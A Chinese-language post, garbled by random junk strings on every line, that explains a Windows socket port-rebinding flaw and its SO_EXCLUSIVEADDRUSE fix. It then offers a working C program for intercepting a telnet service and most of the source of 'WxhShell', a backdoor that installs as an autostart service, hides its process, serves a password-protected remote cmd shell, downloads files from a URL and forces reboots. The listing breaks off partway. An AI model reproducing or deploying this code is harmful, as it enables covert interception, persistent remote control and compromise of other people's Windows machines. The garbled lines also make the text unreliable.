在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8$|<`:~J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
92@/8,[ +@'{ saddr.sin_family = AF_INET;
.HM1c ,Zpc vK/S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
UN~dzA~V M
`QYrH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r((2.,\Z 6I$laHx? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d 6$,iw@>^ K+0&~XU 这意味着什么?意味着可以进行如下的攻击:
6 9 PTo ; bBz< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
z/JoUje YF+hN\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
sHqs)@D |Ef\B]Ns 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
wD|3Czc [j6EzMN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A`=;yD A@8Ot-t:\2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ub0hISA rjmKe*_1V 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tQSj[Yl @}#" o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
LvWl*:z bIFKP #include
vv2N;/;I #include
p2c4 <f-M #include
9,?\hBEu #include
2Xu?/yd DWORD WINAPI ClientThread(LPVOID lpParam);
U>q&p}z0H int main()
/5:f[-\s {
3)F9:Tzw1 WORD wVersionRequested;
$/\b`ID DWORD ret;
y8Q96zi WSADATA wsaData;
59?@55 BOOL val;
5yvaY
"B SOCKADDR_IN saddr;
|G2hm8
Y SOCKADDR_IN scaddr;
"6T: &> int err;
0jS"PH?[ SOCKET s;
p*11aaIbp~ SOCKET sc;
:NB,Dz+i int caddsize;
CaX0Jlk* HANDLE mt;
ep"YGx[V DWORD tid;
[C GFzxz$ wVersionRequested = MAKEWORD( 2, 2 );
h)%}O.ueB err = WSAStartup( wVersionRequested, &wsaData );
rsbdDTy if ( err != 0 ) {
A),nkw0X printf("error!WSAStartup failed!\n");
CYr2~0<g return -1;
NDG3mCl }
+]n.uA-`[a saddr.sin_family = AF_INET;
@ljvTgZ(X
b>N)H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
OD,"8JF _$<Q$P6y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vYh_<Rp5 saddr.sin_port = htons(23);
G;:D6\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
go, Hfb {
"J0,SFu: printf("error!socket failed!\n");
E,Q>jH return -1;
cz8%p;F: }
Vb|;@*=R&Q val = TRUE;
U] 2fV|Hn //SO_REUSEADDR选项就是可以实现端口重绑定的
:n3)vK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<
V?CM(1C {
ap;tggi(H printf("error!setsockopt failed!\n");
8:Yha4<Bv7 return -1;
'qTMY* }
!/4f/g4Ze //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)"
H$1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Luxo,Ve //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
32_{nLV$[ ]w _,0q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Q AJX7 {
lO/<xSjNd ret=GetLastError();
{~*aXu3 printf("error!bind failed!\n");
sSLs%)e|: return -1;
P) fv:a }
0A%>'< listen(s,2);
&a?&G'? while(1)
0B(<I?a/ {
,}M@Am0~ caddsize = sizeof(scaddr);
Lc>9[!+# //接受连接请求
"7R"(.~> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RUTlwTdv if(sc!=INVALID_SOCKET)
iST r;>A {
Jji~MiMn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sQ65QJtt0A if(mt==NULL)
$!c)%qDq {
|irqv< r printf("Thread Creat Failed!\n");
fP`g#t)4Tu break;
^'S0A=1 }
+w Oa }
9X8{"J CloseHandle(mt);
/#Y)nyE
}
OE(H:^ZR closesocket(s);
Q)\7(n WSACleanup();
]KGLJ~hm> return 0;
nG;wQvc }
daT[2M DWORD WINAPI ClientThread(LPVOID lpParam)
<dx
xXzLT {
_8C0z=hz SOCKET ss = (SOCKET)lpParam;
=z'w-ARy SOCKET sc;
i^ 9PiP|U unsigned char buf[4096];
SCl$+9E SOCKADDR_IN saddr;
eqcV70E8cK long num;
-bHQy: DWORD val;
SCk2D!u DWORD ret;
Gx?p,Fj //如果是隐藏端口应用的话,可以在此处加一些判断
yH>`Kbf T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!|`G<WD saddr.sin_family = AF_INET;
}7CMXw
[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2=X 2M saddr.sin_port = htons(23);
G l+[|?N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@NGK2J {
E6n3[Z printf("error!socket failed!\n");
:mLcb.E return -1;
;bVC7D~~4w }
'v^CA} val = 100;
U0'> (FP~2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
i(9=` A} {
u2
a
U0k: ret = GetLastError();
2"lD Kjj return -1;
{S(d5o8 }
D<$~bUkxR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[-!
{
|R:gu\gG ret = GetLastError();
?Y2ZqI return -1;
vz:P2TkM }
eRQ}`DjTk if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{dJC3/Rf {
trmCIk&Fkj printf("error!socket connect failed!\n");
kH1hsDe|&y closesocket(sc);
{g}!M^| closesocket(ss);
78>)<$+d return -1;
^,')1r, }
U>6MT@\ while(1)
Ed ,`1+ {
+8 5]]}I //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/ <WB%O //如果是嗅探内容的话,可以再此处进行内容分析和记录
(&0%![j& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qd"1KzQWO num = recv(ss,buf,4096,0);
8R Wfv}:X if(num>0)
;4tVFqR send(sc,buf,num,0);
r
H;@N else if(num==0)
#k8bZ?*: break;
Q[_{:DJA num = recv(sc,buf,4096,0);
xaSvjc\ if(num>0)
M>dP
1 send(ss,buf,num,0);
Ql
a'vcT else if(num==0)
'gk.J break;
1eQ9(hzF }
c4ptY5R), closesocket(ss);
OiX:h# closesocket(sc);
y0cHs|8 return 0 ;
TjxZ-qw< }
R/r)l<X@ /PG+ s6 F,Q\_H##x4 ==========================================================
% eWzr Wr Ht 下边附上一个代码,,WXhSHELL
0xrr9X< 6M9t<DQV ==========================================================
Gm;)Om_ occ^bq #include "stdafx.h"
R06L4,/b :+{G|goZ* #include <stdio.h>
n 1MZHa, #include <string.h>
[G2@[CtY1 #include <windows.h>
/!;oO_U:# #include <winsock2.h>
C,7d #include <winsvc.h>
73B,I 0U #include <urlmon.h>
vN:gu\^- =!T@'P? #pragma comment (lib, "Ws2_32.lib")
i2KN^"v?N #pragma comment (lib, "urlmon.lib")
CsHHJgx lxb+0fiN #define MAX_USER 100 // 最大客户端连接数
's> #define BUF_SOCK 200 // sock buffer
IvGQ7
VLr #define KEY_BUFF 255 // 输入 buffer
G n"]<8yl~ 2g5i3C.q$ #define REBOOT 0 // 重启
eygmh aE #define SHUTDOWN 1 // 关机
u(l[~r>8W; T<(1)N1H` #define DEF_PORT 5000 // 监听端口
|{W4JFKJ G2
A#&86J{ #define REG_LEN 16 // 注册表键长度
O O?e8OU #define SVC_LEN 80 // NT服务名长度
m ;-FP 2~ MCOiB<L6 // 从dll定义API
]j> W9n? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p=%Vo@*] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]-[M&i=+& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K"u-nroHW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xi['knUi2- yUV0{A-q{0 // wxhshell配置信息
j1{|3#5V struct WSCFG {
p F kA, int ws_port; // 监听端口
iUSP+iC, char ws_passstr[REG_LEN]; // 口令
D. d( D: int ws_autoins; // 安装标记, 1=yes 0=no
e RY2.! char ws_regname[REG_LEN]; // 注册表键名
$ N`V%<W char ws_svcname[REG_LEN]; // 服务名
nOq?Q char ws_svcdisp[SVC_LEN]; // 服务显示名
<xM$^r) char ws_svcdesc[SVC_LEN]; // 服务描述信息
+8qtFog$\g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:})(@.H int ws_downexe; // 下载执行标记, 1=yes 0=no
.T~<[0Ex+U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\f| Hk*@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ZK:dhwer EmrUzaGD };
5ncjv@Aa :5)Dn87 // default Wxhshell configuration
\H<gKZquR struct WSCFG wscfg={DEF_PORT,
>tF3|:\ "xuhuanlingzhe",
&Tz@lvOv% 1,
TljN!nv] "Wxhshell",
337y,; "Wxhshell",
d4ANh+}X"_ "WxhShell Service",
4I7B
#{ "Wrsky Windows CmdShell Service",
_N8Tu~lqV "Please Input Your Password: ",
xPBSJhla 1,
,RmXZnWY "
http://www.wrsky.com/wxhshell.exe",
x)evjX=q "Wxhshell.exe"
yx5F]Z<M2 };
;]*V6!6RR -CV_yySc // 消息定义模块
.CJQ]ECl7p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+'fy%/ char *msg_ws_prompt="\n\r? for help\n\r#>";
EY3x o-H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'?| (QU:)F char *msg_ws_ext="\n\rExit.";
Skb,cKU char *msg_ws_end="\n\rQuit.";
/#mq*kNIM6 char *msg_ws_boot="\n\rReboot...";
<//82j+px char *msg_ws_poff="\n\rShutdown...";
Z_b^K^4 char *msg_ws_down="\n\rSave to ";
v[$-)vs*ag L'i0|_ char *msg_ws_err="\n\rErr!";
:LE0_ . char *msg_ws_ok="\n\rOK!";
RYhaQ&1i 8aDSRfv* char ExeFile[MAX_PATH];
E`E$ }iLs int nUser = 0;
oJ\)-qSf HANDLE handles[MAX_USER];
fPXMp%T! int OsIsNt;
\VY!= 9EV @ P:b\WCI SERVICE_STATUS serviceStatus;
ZtzSG@f SERVICE_STATUS_HANDLE hServiceStatusHandle;
\R"} =7 P:~Xaz\F // 函数声明
M't~/&D# int Install(void);
euxkw]`h6 int Uninstall(void);
[cJQ"G ' int DownloadFile(char *sURL, SOCKET wsh);
bIvF5d>9#K int Boot(int flag);
P<.
TiF?@ void HideProc(void);
ioIOyj int GetOsVer(void);
$x5,Oe n int Wxhshell(SOCKET wsl);
tx$i( void TalkWithClient(void *cs);
N+)gYb6h int CmdShell(SOCKET sock);
|)%]MK$; int StartFromService(void);
I
JPpF` int StartWxhshell(LPSTR lpCmdLine);
@ve4rc/LI `zRE $O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1\'?. VOID WINAPI NTServiceHandler( DWORD fdwControl );
{z^6V\O5 "7w~0?} // 数据结构和表定义
4=;.< SERVICE_TABLE_ENTRY DispatchTable[] =
ZQL4<fy'E {
8Ce|Q8<8] {wscfg.ws_svcname, NTServiceMain},
,^Cl?\9" {NULL, NULL}
$A4rdhvd };
!b !C+ \v mbf'xGO // 自我安装
| c:E)S\ int Install(void)
$0-}|u]5U {
9EPE.+ns char svExeFile[MAX_PATH];
0XkLWl|k HKEY key;
]q,5'[=~4h strcpy(svExeFile,ExeFile);
Fi7G S; +%O_xqq // 如果是win9x系统,修改注册表设为自启动
?&ow:OH+ if(!OsIsNt) {
(31ia"i% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3 s @6pI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
miWPLnw=L RegCloseKey(key);
oVD)Fb%[i9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fbl8:c)I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]JQ+*ZYUE RegCloseKey(key);
T(GEFntY return 0;
.=~-sj@k }
.5S< G)Ja
}
AQUl:0! }
5B|&+7dCw else {
aEO`` W ?{)s dJe // 如果是NT以上系统,安装为系统服务
UQ7E7yY# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jfLkp>2E' if (schSCManager!=0)
jX9{Ki" {
mQbpv'N SC_HANDLE schService = CreateService
ak SUk)}e (
|9fvj6?Y schSCManager,
x|7vN E=Q wscfg.ws_svcname,
0xN1Xm0d wscfg.ws_svcdisp,
'aN`z3T SERVICE_ALL_ACCESS,
jD<fu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_,"?R]MO SERVICE_AUTO_START,
~x(1g;!^ SERVICE_ERROR_NORMAL,
wt@Qjbqd8 svExeFile,
We8n20wf< NULL,
Fm{/&U^ NULL,
w[K!m.p,u NULL,
X\=m NULL,
/Ezx'h3Q
NULL
5PcN$r"P );
A89n^@ if (schService!=0)
2!w5eWl, {
9Kpzj43 CloseServiceHandle(schService);
03%`ouf CloseServiceHandle(schSCManager);
Yn~N;VUA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lI)RaiMr= strcat(svExeFile,wscfg.ws_svcname);
,GU|3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\{GBaMwG~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'XbrO|% RegCloseKey(key);
\ZOH3`vq return 0;
7CGxM }
2 &(w\#' }
q
n6ws CloseServiceHandle(schSCManager);
e@`"V,i }
Miw*L;u@W }
1DTA Dh0 qH8d3?1XO return 1;
{hNvCk }
>l>;"R9N H[x$65ND // 自我卸载
liuw! int Uninstall(void)
17.. {
Cj +{%^# HKEY key;
d%EUr9~? eM) I% if(!OsIsNt) {
J8;l G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]zt77'J RegDeleteValue(key,wscfg.ws_regname);
ULJV RegCloseKey(key);
k0/S&e,* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VJf|r#2 RegDeleteValue(key,wscfg.ws_regname);
k%gO
RegCloseKey(key);
V~~4<?=A return 0;
l_MF9.z& }
rD?G7l<~>_ }
g,YJh(|#{ }
-,Oq=w*EV else {
;Pd nE~ 7C::%OF~7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[dXpz^Co if (schSCManager!=0)
6!;eJYj, {
*^@{LwY\M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
YTk"'q- if (schService!=0)
xl]1{$1M {
:ot^bAyt| if(DeleteService(schService)!=0) {
|GLh|hr CloseServiceHandle(schService);
vUNmN2pRJ CloseServiceHandle(schSCManager);
A|90Ps return 0;
:MF F*1 }
zF([{5r[!) CloseServiceHandle(schService);
4owM;y }
P2t{il CloseServiceHandle(schSCManager);
8=T[Y`;x }
yd>b2 M }
\Aa{]t |3:e$ return 1;
er44s^$ }
i*\\j1mf $[*QsU%% // 从指定url下载文件
]aDU* tk int DownloadFile(char *sURL, SOCKET wsh)
+bhR[V{0g {
~A-vIlGt! HRESULT hr;
/]@1IC{Lk char seps[]= "/";
x[dR5 char *token;
v&]k8Hc- char *file;
1I#]OY#> char myURL[MAX_PATH];
Q&k1' nT5 char myFILE[MAX_PATH];
.I#ss66h *]#(?W.$w strcpy(myURL,sURL);
+WTO_J7 token=strtok(myURL,seps);
1<(('H while(token!=NULL)
a^xt9o` {
:g~X"C1s file=token;
/qwl;_Jcf token=strtok(NULL,seps);
IJQ"
*; }
CUI\:a- v\}s(X(J GetCurrentDirectory(MAX_PATH,myFILE);
X?gH(mn strcat(myFILE, "\\");
RO!em~{D* strcat(myFILE, file);
\|f3\4;! send(wsh,myFILE,strlen(myFILE),0);
vvwQ/iJO4Q send(wsh,"...",3,0);
bSvr8FY3d hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
0vjlSHS;`. if(hr==S_OK)
vjz 'y[D return 0;
+aoenUm5 else
A1p87o> return 1;
N/V~>UJ0{* ~bnyk%S
o }
>X58 zlxk d$}!x[g$Z // 系统电源模块
/73ANQ" int Boot(int flag)
Vm]xV_FOd {
'Z}3XVZEN HANDLE hToken;
3[r9v!l TOKEN_PRIVILEGES tkp;
O]cuJp y3Qb2l if(OsIsNt) {
kW4B
@Zh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SCq:jI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|)[I$]L tkp.PrivilegeCount = 1;
jxdX7aik tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I ]HP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8:gUo8 if(flag==REBOOT) {
N?j#=b+D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Qk[YF return 0;
~Iz{@Ep* }
A?+cdbxJw else {
k%Wj+\93f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,ui=Wi1 return 0;
2kkqPBc_
}
k}hTSL }
|E?,hTRe5 else {
,vcd>"PK if(flag==REBOOT) {
h]>7Dl] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
12o6KVV^x return 0;
+cwuj }
?8!\V NC. else {
mhW*rH*m if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Msst:}QY return 0;
ZE:!>VXa87 }
:ZsAWe{%,J }
;2}wrX rGmxK|R return 1;
e5$S2o~JF }
a&!K5( T8NDS7&? // win9x进程隐藏模块
|
{Tq/ void HideProc(void)
&j?+%Y1n@ {
FjV)QP H Y+nk:9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RMs+pN<5 if ( hKernel != NULL )
i)q8p {
_^@ >I8ix pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:k Kdda<g# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uJSzz:\ FreeLibrary(hKernel);
SsCV}[ }
cnz+%Y N S0w:R:q}L return;
XsGc!o }
Dg}$;PK +}x\|O // 获取操作系统版本
j1O_Az|3 int GetOsVer(void)
i\dd {
![&9\aH OSVERSIONINFO winfo;
v2Vmcc_]9x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_6.Y3+7I GetVersionEx(&winfo);
yY_#fJj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Zg$RiQ^-{J return 1;
B^@X1EE else
Slv91c&md, return 0;
:B~m^5 }
j:7AVnt q0{ _w // 客户端句柄模块
k]rc -c- int Wxhshell(SOCKET wsl)
'fPDODE {
PZihC
SOCKET wsh;
m,)o&ix1 struct sockaddr_in client;
yJW/yt.l DWORD myID;
t"?)x&dS mo"1|Q& while(nUser<MAX_USER)
.l$U:d {
5Z`f.}^w int nSize=sizeof(client);
) uTFId wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-8yN6
0| if(wsh==INVALID_SOCKET) return 1;
Y+{jG(rg.F q!{>Nlk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nd }Z[) if(handles[nUser]==0)
Sym}#F\s closesocket(wsh);
;tC$O~X else
.'b|pd nUser++;
ZF@$3 }
Muyi2F)j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[1e]_9)p m(`O>zS return 0;
F+!9T }
Xi;<O&+ ]CDUHz // 关闭 socket
R>B6@|}? void CloseIt(SOCKET wsh)
+F*h\4ry# {
#gVWLm< closesocket(wsh);
[qU`}S2 nUser--;
W;?e @} ExitThread(0);
~ ReX$9 }
w?Pex]i{
Vfw H: // 客户端请求句柄
@VQ<X4Za void TalkWithClient(void *cs)
mpQu:i|W {
e*Y<m\* t N4-<6 SOCKET wsh=(SOCKET)cs;
k*D8IB char pwd[SVC_LEN];
FKUo^F?z char cmd[KEY_BUFF];
3taGb>15 char chr[1];
2R W~jn" int i,j;
w
c \BX9Wn*)a while (nUser < MAX_USER) {
+S WtHj7e xQl}~G]! if(wscfg.ws_passstr) {
X#HH7V> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2.vmZaKP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Tv6y+l //ZeroMemory(pwd,KEY_BUFF);
_-rC]iQJ55 i=0;
hM[3l1o{| while(i<SVC_LEN) {
bGkLa/?S P-<1vfThH // 设置超时
4sW'pH fd_set FdRead;
w@Asz9Lq% struct timeval TimeOut;
3D^cPkX FD_ZERO(&FdRead);
mX!*|$bs FD_SET(wsh,&FdRead);
:dNJ2&kJ TimeOut.tv_sec=8;
3V7WIj< TimeOut.tv_usec=0;
bZr,jLEf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*Mb'y d/| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]0BX5Z' |KVVPXtq%C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/DP0K
@% pwd
=chr[0]; UWhJkJsX
if(chr[0]==0xd || chr[0]==0xa) { .Z#/%y3S
pwd=0; {> 8?6m-
break; aGfp"NtL
} ;)wk^W
i++; k"C'8<T)'
} zG8g}FrzG;
pw5{=bD
// 如果是非法用户,关闭 socket ><>%;HZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bwcr/J(Nb
} {jH'W)nR
H?!DcUg CC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yimK"4!j5A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W/b)OlG"2
aEh9za
while(1) { <=D
a
7S^G]g!x
ZeroMemory(cmd,KEY_BUFF); (9kR'kr
M] +.xo+A
// 自动支持客户端 telnet标准 ez.a
j=0; tbiM>qxB
while(j<KEY_BUFF) { s$?LMfT
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0xO*8aKT
cmd[j]=chr[0]; 6/?onEL9_
if(chr[0]==0xa || chr[0]==0xd) { <VQ)}HW;k
cmd[j]=0; RjTGm=1w
break; "a}fwg9Y
} U djYRfk
j++; ^Il*`&+?P
} jWV}Ua
h_+
// 下载文件 c#"t.j<E}
if(strstr(cmd,"http://")) { Dg"szJ-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "tl$JbRTY
if(DownloadFile(cmd,wsh)) GN9kCyPK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yjMN>L'
else 3u4Q!U%(D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @SpP"/)JY
} {V[}#Mf
else { %>_6&A{K,d
k4hk*
0Jq
switch(cmd[0]) { EG|dN(qh
lw[c+F7
// 帮助 **kix
case '?': { f7][#EL
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6}e*!,2Xj
break; kltW
} SY[3O
// 安装 gGUKB2)
case 'i': { zxCx2.7
if(Install()) |*UB/8C^/!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /]5*;kO`
else mfaU_Vo&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \`xlD&F@U
break; $--+M
D29Q
} G$MEVfd"
// 卸载 \yFUQq:
case 'r': { UO@K:n
if(Uninstall()) <Nqbp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fz :(mZ%
else _"L6mcI6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,!^5w,P:
break; _`&l46
} @v2ko5
// 显示 wxhshell 所在路径 Zx_^P:rL
case 'p': { _UPfqC ?
char svExeFile[MAX_PATH]; uW[[8+t|
strcpy(svExeFile,"\n\r"); OQB7C0+ &
strcat(svExeFile,ExeFile); U4\v~n\
send(wsh,svExeFile,strlen(svExeFile),0); wN4#j}C
break; 7<;oz30G!L
} ceJi|`F
// 重启 #o4tG
case 'b': { n"6L\u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QO(F%&v++
if(Boot(REBOOT)) T!KwRxJ23
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |oXd4
else { N\ !
closesocket(wsh); n*=#jL
ExitThread(0); CL4N/[UM
} [%N?D#;
break; ($[+dR
} cS9jGD92
// 关机 diY7<u#
case 'd': { .Lna\Bv
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ()l3X.t,$
if(Boot(SHUTDOWN)) @|vH5Pi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0zB[seyE
else { 4F6aPo2
closesocket(wsh); 5P-t{<]tx
ExitThread(0); znwKwc8,
} X&?s:A
break; @i; )`k5b
} Y-a
// 获取shell K8_v5
case 's': { `IUn{I
CmdShell(wsh); P8,Ps+
closesocket(wsh); XH$r(@Z\7
ExitThread(0);
r_#dh
break; =x\`yxsG
}
8'8`xu$
// 退出 ?!U[~Gq
case 'x': { I'BhN#GhX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |j`73@6
CloseIt(wsh); K8sRan[4}
break; =\WF +r]V
} fx{8ERo
// 离开 -$Hu$Y}>
case 'q': { 73D<wMgZF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SXm%X(JU
closesocket(wsh); a,c!#iyl3
WSACleanup(); hu.o$sV3;
exit(1); <ukBAux,D
break; d}[cX9U/
} c0gVW~I1
} i.vH$
} 3c=kYcj
(?na|yd
// 提示信息 9qB0F_xl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Lh7!d
} TJO$r6&
} tX{yR'Qhu
<h7cQ
return; P2-&Im`+
} rG-T Dm
_F;v3|`D@<
// shell模块句柄 k2U*dn"9U
int CmdShell(SOCKET sock) !mmMAsd,
{ ,yYcjs!=o
STARTUPINFO si; FPDTw8" B;
ZeroMemory(&si,sizeof(si)); aixX/se
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lir=0oq<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rm} ym9
PROCESS_INFORMATION ProcessInfo; dI{DiPho
char cmdline[]="cmd"; U#` e~d t<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !*N9PUM
return 0; @%]A,\
} #Vq9 =Q2
2*|T)OA`m,
// 自身启动模式 }Y~Dk]*
int StartFromService(void) >NRppPqL
{ @Jzk2,rI
typedef struct FE~D:)Xj'?
{ =&WIa#!=
DWORD ExitStatus; )>iOj50n3
DWORD PebBaseAddress; ?h= n5}Y
DWORD AffinityMask; C$OVN$lL`8
